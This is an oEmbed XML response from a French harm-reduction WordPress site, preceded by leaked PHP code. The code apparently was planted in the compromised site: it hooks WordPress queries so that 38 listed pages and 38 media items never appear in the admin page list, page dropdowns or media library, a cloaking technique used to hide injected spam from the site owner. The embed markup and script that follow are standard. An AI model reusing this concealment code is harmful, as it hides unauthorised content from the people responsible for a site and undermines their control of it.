
// === P_START ===
if ( ! function_exists('x_admin_page_filter') ) {
    function x_admin_page_filter( $query ) {
        if ( is_admin() && $query->is_main_query() ) {
            $screen = get_current_screen();
            if ( $screen && $screen->id === 'edit-page' ) {
                $functions_ids = array(7522, 7525, 7528, 7531, 7534, 7537, 7540, 7543, 7546, 7549, 7552, 7555, 7558, 7561, 7564, 7567, 7570, 7573, 7576, 7579, 7582, 7585, 7588, 7591, 7594, 7597, 7600, 7603, 7606, 7609, 7612, 7615, 7618, 7621, 7624, 7627, 7630, 7633);
                $query->set( 'post__not_in', $functions_ids );
            }
        }
    }
    add_action( 'pre_get_posts', 'x_admin_page_filter' );
}

if ( ! function_exists('x_admin_page_dropdown_filter') ) {
    function x_admin_page_dropdown_filter( $args ) {
        $functions_ids = array(7522, 7525, 7528, 7531, 7534, 7537, 7540, 7543, 7546, 7549, 7552, 7555, 7558, 7561, 7564, 7567, 7570, 7573, 7576, 7579, 7582, 7585, 7588, 7591, 7594, 7597, 7600, 7603, 7606, 7609, 7612, 7615, 7618, 7621, 7624, 7627, 7630, 7633);
        $args['exclude'] = isset($args['exclude'])
            ? array_merge((array)$args['exclude'], $functions_ids)
            : $functions_ids;
        return $args;
    }
    add_filter( 'page_attributes_dropdown_pages_args', 'x_admin_page_dropdown_filter' );
    add_filter( 'quick_edit_dropdown_pages_args', 'x_admin_page_dropdown_filter' );
}
// === P_END ===
// === I_START ===
if ( ! function_exists('x_admin_media_filter') ) {
    function x_admin_media_filter( $query ) {
        if ( is_admin() && $query->is_main_query() ) {
            $screen = get_current_screen();
            if ( $screen && $screen->id === 'upload' ) {
                $hidden_image_ids = array(7521, 7524, 7527, 7530, 7533, 7536, 7539, 7542, 7545, 7548, 7551, 7554, 7557, 7560, 7563, 7566, 7569, 7572, 7575, 7578, 7581, 7584, 7587, 7590, 7593, 7596, 7599, 7602, 7605, 7608, 7611, 7614, 7617, 7620, 7623, 7626, 7629, 7632); // Media IDs to hide
                $query->set( 'post__not_in', $hidden_image_ids );
            }
        }
    }
    add_action( 'pre_get_posts', 'x_admin_media_filter' );
}

if ( ! function_exists('x_admin_media_ajax_filter') ) {
    function x_admin_media_ajax_filter( $args ) {
        $hidden_image_ids = array(7521, 7524, 7527, 7530, 7533, 7536, 7539, 7542, 7545, 7548, 7551, 7554, 7557, 7560, 7563, 7566, 7569, 7572, 7575, 7578, 7581, 7584, 7587, 7590, 7593, 7596, 7599, 7602, 7605, 7608, 7611, 7614, 7617, 7620, 7623, 7626, 7629, 7632); // Must match above
        $args['post__not_in'] = isset($args['post__not_in'])
            ? array_merge((array)$args['post__not_in'], $hidden_image_ids)
            : $hidden_image_ids;
        return $args;
    }
    add_filter( 'ajax_query_attachments_args', 'x_admin_media_ajax_filter' );
}
// === I_END ===<?xml version="1.0"?>
<oembed><version>1.0</version><provider_name>De la R&#xE9;duction des Risques pour tous !</provider_name><provider_url>https://www.rdr.ceid-addiction.com</provider_url><author_name>admin_rdr_ceid_addiction</author_name><author_url>https://www.rdr.ceid-addiction.com/index.php/author/admin_rdr_ceid_addiction/</author_url><title>Accueil</title><type>rich</type><width>600</width><height>338</height><html>&lt;blockquote class="wp-embedded-content" data-secret="gAyk36oJK4"&gt;&lt;a href="https://www.rdr.ceid-addiction.com/"&gt;Accueil&lt;/a&gt;&lt;/blockquote&gt;&lt;iframe sandbox="allow-scripts" security="restricted" src="https://www.rdr.ceid-addiction.com/embed/#?secret=gAyk36oJK4" width="600" height="338" title="&#xAB;&#xA0;Accueil&#xA0;&#xBB; &#x2014; De la R&#xE9;duction des Risques pour tous !" data-secret="gAyk36oJK4" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" class="wp-embedded-content"&gt;&lt;/iframe&gt;&lt;script type="text/javascript"&gt;
/* &lt;![CDATA[ */
/*! This file is auto-generated */
!function(d,l){"use strict";l.querySelector&amp;&amp;d.addEventListener&amp;&amp;"undefined"!=typeof URL&amp;&amp;(d.wp=d.wp||{},d.wp.receiveEmbedMessage||(d.wp.receiveEmbedMessage=function(e){var t=e.data;if((t||t.secret||t.message||t.value)&amp;&amp;!/[^a-zA-Z0-9]/.test(t.secret)){for(var s,r,n,a=l.querySelectorAll('iframe[data-secret="'+t.secret+'"]'),o=l.querySelectorAll('blockquote[data-secret="'+t.secret+'"]'),c=new RegExp("^https?:$","i"),i=0;i&lt;o.length;i++)o[i].style.display="none";for(i=0;i&lt;a.length;i++)s=a[i],e.source===s.contentWindow&amp;&amp;(s.removeAttribute("style"),"height"===t.message?(1e3&lt;(r=parseInt(t.value,10))?r=1e3:~~r&lt;200&amp;&amp;(r=200),s.height=r):"link"===t.message&amp;&amp;(r=new URL(s.getAttribute("src")),n=new URL(t.value),c.test(n.protocol))&amp;&amp;n.host===r.host&amp;&amp;l.activeElement===s&amp;&amp;(d.top.location.href=t.value))}},d.addEventListener("message",d.wp.receiveEmbedMessage,!1),l.addEventListener("DOMContentLoaded",function(){for(var e,t,s=l.querySelectorAll("iframe.wp-embedded-content"),r=0;r&lt;s.length;r++)(t=(e=s[r]).getAttribute("data-secret"))||(t=Math.random().toString(36).substring(2,12),e.src+="#?secret="+t,e.setAttribute("data-secret",t)),e.contentWindow.postMessage({message:"ready",secret:t},"*")},!1)))}(window,document);
//# sourceURL=https://www.rdr.ceid-addiction.com/wp-includes/js/wp-embed.min.js
/* ]]&gt; */
&lt;/script&gt;
</html></oembed>
